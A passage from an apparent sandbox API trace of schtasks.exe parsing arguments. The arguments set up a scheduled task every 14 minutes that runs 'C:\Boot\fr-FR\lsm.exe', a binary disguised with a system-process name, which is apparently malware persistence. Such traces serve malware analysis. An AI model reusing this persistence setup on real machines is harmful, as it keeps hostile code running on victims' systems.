SetLastError (dwErrCode=0x490) [0083.273] SetLastError (dwErrCode=0x490) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="lsml") returned 4 [0083.273] StrChrIW (lpStart="lsml", wMatch=0x3a) returned 0x0 [0083.273] SetLastError (dwErrCode=0x490) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="lsml") returned 4 [0083.273] GetProcessHeap () returned 0x360000 [0083.273] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xa) returned 0x37c350 [0083.273] GetProcessHeap () returned 0x360000 [0083.273] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd20 [0083.273] SetLastError (dwErrCode=0x0) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="/sc") returned 3 [0083.273] lstrlenW (lpString="-/") returned 2 [0083.273] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.273] lstrlenW (lpString="?") returned 1 [0083.273] lstrlenW (lpString="?") returned 1 [0083.273] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] lstrlenW (lpString="sc") returned 2 [0083.274] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.274] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.274] lstrlenW (lpString="|?|") returned 3 [0083.274] lstrlenW (lpString="|sc|") returned 4 [0083.274] SetLastError (dwErrCode=0x490) [0083.274] lstrlenW (lpString="create") returned 6 [0083.274] lstrlenW (lpString="create") returned 6 [0083.274] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] lstrlenW (lpString="sc") returned 2 [0083.274] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.274] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.274] lstrlenW (lpString="|create|") returned 8 [0083.274] lstrlenW (lpString="|sc|") returned 4 [0083.274] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0083.274] SetLastError (dwErrCode=0x490) [0083.274] lstrlenW (lpString="delete") returned 6 [0083.274] lstrlenW (lpString="delete") returned 6 [0083.274] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] lstrlenW (lpString="sc") returned 2 [0083.274] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.274] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|delete|") returned 8 [0083.274] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.274] lstrlenW (lpString="|delete|") returned 8 [0083.275] lstrlenW (lpString="|sc|") returned 4 [0083.275] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0083.275] SetLastError (dwErrCode=0x490) [0083.275] lstrlenW (lpString="query") returned 5 [0083.275] lstrlenW (lpString="query") returned 5 [0083.275] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.275] lstrlenW (lpString="sc") returned 2 [0083.275] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.275] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|query|") returned 7 [0083.275] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.275] lstrlenW (lpString="|query|") returned 7 [0083.275] lstrlenW (lpString="|sc|") returned 4 [0083.275] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0083.275] SetLastError (dwErrCode=0x490) [0083.275] lstrlenW (lpString="change") returned 6 [0083.275] lstrlenW (lpString="change") returned 6 [0083.275] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.275] lstrlenW (lpString="sc") returned 2 [0083.275] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.275] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|change|") returned 8 [0083.275] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.275] lstrlenW (lpString="|change|") returned 8 [0083.275] lstrlenW (lpString="|sc|") returned 4 [0083.275] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0083.275] SetLastError (dwErrCode=0x490) [0083.276] lstrlenW (lpString="run") returned 3 [0083.276] lstrlenW (lpString="run") returned 3 [0083.276] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.276] lstrlenW (lpString="sc") returned 2 [0083.276] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.276] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|run|") returned 5 [0083.276] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.276] lstrlenW (lpString="|run|") returned 5 [0083.276] lstrlenW (lpString="|sc|") returned 4 [0083.276] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0083.276] SetLastError (dwErrCode=0x490) [0083.276] lstrlenW (lpString="end") returned 3 [0083.276] lstrlenW (lpString="end") returned 3 [0083.276] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.276] lstrlenW (lpString="sc") returned 2 [0083.276] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.276] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|end|") returned 5 [0083.276] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.276] lstrlenW (lpString="|end|") returned 5 [0083.276] lstrlenW (lpString="|sc|") returned 4 [0083.276] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0083.276] SetLastError (dwErrCode=0x490) [0083.276] lstrlenW (lpString="showsid") returned 7 [0083.276] lstrlenW (lpString="showsid") returned 7 [0083.276] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.276] lstrlenW (lpString="sc") returned 2 [0083.277] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.277] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|showsid|") returned 9 [0083.277] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|sc|") returned 4 [0083.277] lstrlenW (lpString="|showsid|") returned 9 [0083.277] lstrlenW (lpString="|sc|") returned 4 [0083.277] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x0) [0083.277] lstrlenW (lpString="/sc") returned 3 [0083.277] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x0) [0083.277] lstrlenW (lpString="/sc") returned 3 [0083.277] GetProcessHeap () returned 0x360000 [0083.277] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x8) returned 0x37c370 [0083.277] GetProcessHeap () returned 0x360000 [0083.277] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd50 [0083.277] SetLastError (dwErrCode=0x0) [0083.277] SetLastError (dwErrCode=0x0) [0083.277] lstrlenW (lpString="MINUTE") returned 6 [0083.277] lstrlenW (lpString="-/") returned 2 [0083.277] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x0) [0083.277] lstrlenW (lpString="MINUTE") returned 6 [0083.277] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0083.277] SetLastError (dwErrCode=0x490) [0083.277] SetLastError (dwErrCode=0x0) [0083.277] lstrlenW (lpString="MINUTE") returned 6 [0083.277] GetProcessHeap () returned 0x360000 [0083.277] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37c390 [0083.277] GetProcessHeap () returned 0x360000 [0083.278] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd80 [0083.278] SetLastError (dwErrCode=0x0) [0083.278] SetLastError (dwErrCode=0x0) [0083.278] lstrlenW (lpString="/mo") returned 3 [0083.278] lstrlenW (lpString="-/") returned 2 [0083.278] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.278] lstrlenW (lpString="?") returned 1 [0083.278] lstrlenW (lpString="?") returned 1 [0083.278] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.278] lstrlenW (lpString="mo") returned 2 [0083.278] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.278] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.278] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.278] lstrlenW (lpString="|?|") returned 3 [0083.278] lstrlenW (lpString="|mo|") returned 4 [0083.278] SetLastError (dwErrCode=0x490) [0083.278] lstrlenW (lpString="create") returned 6 [0083.278] lstrlenW (lpString="create") returned 6 [0083.278] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.278] lstrlenW (lpString="mo") returned 2 [0083.278] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.278] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.278] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.278] lstrlenW (lpString="|create|") returned 8 [0083.278] lstrlenW (lpString="|mo|") returned 4 [0083.278] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0083.278] SetLastError (dwErrCode=0x490) [0083.278] lstrlenW (lpString="delete") returned 6 [0083.278] lstrlenW (lpString="delete") returned 6 [0083.278] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] lstrlenW (lpString="mo") returned 2 [0083.279] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|delete|") returned 8 [0083.279] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.279] lstrlenW (lpString="|delete|") returned 8 [0083.279] lstrlenW (lpString="|mo|") returned 4 [0083.279] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0083.279] SetLastError (dwErrCode=0x490) [0083.279] lstrlenW (lpString="query") returned 5 [0083.279] lstrlenW (lpString="query") returned 5 [0083.279] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] lstrlenW (lpString="mo") returned 2 [0083.279] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|query|") returned 7 [0083.279] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.279] lstrlenW (lpString="|query|") returned 7 [0083.279] lstrlenW (lpString="|mo|") returned 4 [0083.279] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0083.279] SetLastError (dwErrCode=0x490) [0083.279] lstrlenW (lpString="change") returned 6 [0083.279] lstrlenW (lpString="change") returned 6 [0083.279] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] lstrlenW (lpString="mo") returned 2 [0083.279] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.279] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|change|") returned 8 [0083.279] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.279] lstrlenW (lpString="|change|") returned 8 [0083.279] lstrlenW (lpString="|mo|") returned 4 [0083.279] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0083.279] SetLastError (dwErrCode=0x490) [0083.280] lstrlenW (lpString="run") returned 3 [0083.280] lstrlenW (lpString="run") returned 3 [0083.280] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] lstrlenW (lpString="mo") returned 2 [0083.280] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|run|") returned 5 [0083.280] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.280] lstrlenW (lpString="|run|") returned 5 [0083.280] lstrlenW (lpString="|mo|") returned 4 [0083.280] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0083.280] SetLastError (dwErrCode=0x490) [0083.280] lstrlenW (lpString="end") returned 3 [0083.280] lstrlenW (lpString="end") returned 3 [0083.280] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] lstrlenW (lpString="mo") returned 2 [0083.280] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|end|") returned 5 [0083.280] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.280] lstrlenW (lpString="|end|") returned 5 [0083.280] lstrlenW (lpString="|mo|") returned 4 [0083.280] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0083.280] SetLastError (dwErrCode=0x490) [0083.280] lstrlenW (lpString="showsid") returned 7 [0083.280] lstrlenW (lpString="showsid") returned 7 [0083.280] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] lstrlenW (lpString="mo") returned 2 [0083.280] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.280] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|showsid|") returned 9 [0083.312] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|mo|") returned 4 [0083.312] lstrlenW (lpString="|showsid|") returned 9 [0083.312] lstrlenW (lpString="|mo|") returned 4 [0083.312] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x0) [0083.312] lstrlenW (lpString="/mo") returned 3 [0083.312] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x0) [0083.312] lstrlenW (lpString="/mo") returned 3 [0083.312] GetProcessHeap () returned 0x360000 [0083.312] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x8) returned 0x37c3b0 [0083.312] GetProcessHeap () returned 0x360000 [0083.312] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cdb0 [0083.312] SetLastError (dwErrCode=0x0) [0083.312] SetLastError (dwErrCode=0x0) [0083.312] lstrlenW (lpString="14") returned 2 [0083.312] lstrlenW (lpString="-/") returned 2 [0083.312] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x0) [0083.312] lstrlenW (lpString="14") returned 2 [0083.312] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0083.312] SetLastError (dwErrCode=0x490) [0083.312] SetLastError (dwErrCode=0x0) [0083.312] lstrlenW (lpString="14") returned 2 [0083.312] GetProcessHeap () returned 0x360000 [0083.313] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x6) returned 0x37c3d0 [0083.313] GetProcessHeap () returned 0x360000 [0083.313] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cde0 [0083.313] SetLastError (dwErrCode=0x0) [0083.313] SetLastError (dwErrCode=0x0) [0083.313] lstrlenW (lpString="/tr") returned 3 [0083.313] lstrlenW (lpString="-/") returned 2 [0083.313] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.313] lstrlenW (lpString="?") returned 1 [0083.313] lstrlenW (lpString="?") returned 1 [0083.313] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.313] lstrlenW (lpString="tr") returned 2 [0083.313] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.313] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.313] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.313] lstrlenW (lpString="|?|") returned 3 [0083.313] lstrlenW (lpString="|tr|") returned 4 [0083.313] SetLastError (dwErrCode=0x490) [0083.313] lstrlenW (lpString="create") returned 6 [0083.313] lstrlenW (lpString="create") returned 6 [0083.313] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.313] lstrlenW (lpString="tr") returned 2 [0083.313] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.313] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.313] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.313] lstrlenW (lpString="|create|") returned 8 [0083.313] lstrlenW (lpString="|tr|") returned 4 [0083.313] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0083.313] SetLastError (dwErrCode=0x490) [0083.313] lstrlenW (lpString="delete") returned 6 [0083.313] lstrlenW (lpString="delete") returned 6 [0083.314] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] lstrlenW (lpString="tr") returned 2 [0083.314] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|delete|") returned 8 [0083.314] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.314] lstrlenW (lpString="|delete|") returned 8 [0083.314] lstrlenW (lpString="|tr|") returned 4 [0083.314] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0083.314] SetLastError (dwErrCode=0x490) [0083.314] lstrlenW (lpString="query") returned 5 [0083.314] lstrlenW (lpString="query") returned 5 [0083.314] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] lstrlenW (lpString="tr") returned 2 [0083.314] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|query|") returned 7 [0083.314] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.314] lstrlenW (lpString="|query|") returned 7 [0083.314] lstrlenW (lpString="|tr|") returned 4 [0083.314] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0083.314] SetLastError (dwErrCode=0x490) [0083.314] lstrlenW (lpString="change") returned 6 [0083.314] lstrlenW (lpString="change") returned 6 [0083.314] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] lstrlenW (lpString="tr") returned 2 [0083.314] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.314] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|change|") returned 8 [0083.314] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.314] lstrlenW (lpString="|change|") returned 8 [0083.315] lstrlenW (lpString="|tr|") returned 4 [0083.315] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0083.315] SetLastError (dwErrCode=0x490) [0083.315] lstrlenW (lpString="run") returned 3 [0083.315] lstrlenW (lpString="run") returned 3 [0083.315] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.315] lstrlenW (lpString="tr") returned 2 [0083.315] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.315] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|run|") returned 5 [0083.315] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.315] lstrlenW (lpString="|run|") returned 5 [0083.315] lstrlenW (lpString="|tr|") returned 4 [0083.315] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0083.315] SetLastError (dwErrCode=0x490) [0083.315] lstrlenW (lpString="end") returned 3 [0083.315] lstrlenW (lpString="end") returned 3 [0083.315] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.315] lstrlenW (lpString="tr") returned 2 [0083.315] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.315] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|end|") returned 5 [0083.315] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.315] lstrlenW (lpString="|end|") returned 5 [0083.315] lstrlenW (lpString="|tr|") returned 4 [0083.315] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0083.315] SetLastError (dwErrCode=0x490) [0083.315] lstrlenW (lpString="showsid") returned 7 [0083.315] lstrlenW (lpString="showsid") returned 7 [0083.315] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.315] lstrlenW (lpString="tr") returned 2 [0083.315] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.316] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|showsid|") returned 9 [0083.316] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tr|") returned 4 [0083.316] lstrlenW (lpString="|showsid|") returned 9 [0083.316] lstrlenW (lpString="|tr|") returned 4 [0083.316] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0083.316] SetLastError (dwErrCode=0x490) [0083.316] SetLastError (dwErrCode=0x490) [0083.316] SetLastError (dwErrCode=0x0) [0083.316] lstrlenW (lpString="/tr") returned 3 [0083.316] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0083.316] SetLastError (dwErrCode=0x490) [0083.316] SetLastError (dwErrCode=0x0) [0083.316] lstrlenW (lpString="/tr") returned 3 [0083.316] GetProcessHeap () returned 0x360000 [0083.316] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x8) returned 0x37c3f0 [0083.316] GetProcessHeap () returned 0x360000 [0083.316] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce10 [0083.316] SetLastError (dwErrCode=0x0) [0083.316] SetLastError (dwErrCode=0x0) [0083.316] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.316] lstrlenW (lpString="-/") returned 2 [0083.316] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.316] SetLastError (dwErrCode=0x490) [0083.316] SetLastError (dwErrCode=0x490) [0083.316] SetLastError (dwErrCode=0x0) [0083.316] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.316] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0083.316] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.316] GetProcessHeap () returned 0x360000 [0083.316] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37c410 [0083.316] _memicmp (_Buf1=0x37c410, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.316] GetProcessHeap () returned 0x360000 [0083.317] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37c430 [0083.317] GetProcessHeap () returned 0x360000 [0083.317] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37d5e0 [0083.317] _memicmp (_Buf1=0x37d5e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.317] GetProcessHeap () returned 0x360000 [0083.317] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x32) returned 0x377b90 [0083.317] SetLastError (dwErrCode=0x7a) [0083.317] SetLastError (dwErrCode=0x0) [0083.317] SetLastError (dwErrCode=0x0) [0083.317] lstrlenW (lpString="'C") returned 2 [0083.317] lstrlenW (lpString="-/") returned 2 [0083.317] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.317] SetLastError (dwErrCode=0x490) [0083.317] SetLastError (dwErrCode=0x490) [0083.317] SetLastError (dwErrCode=0x0) [0083.317] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.317] GetProcessHeap () returned 0x360000 [0083.317] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x30) returned 0x377bd0 [0083.317] GetProcessHeap () returned 0x360000 [0083.317] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce40 [0083.317] SetLastError (dwErrCode=0x0) [0083.317] SetLastError (dwErrCode=0x0) [0083.317] lstrlenW (lpString="/f") returned 2 [0083.317] lstrlenW (lpString="-/") returned 2 [0083.317] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.317] lstrlenW (lpString="?") returned 1 [0083.317] lstrlenW (lpString="?") returned 1 [0083.317] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, 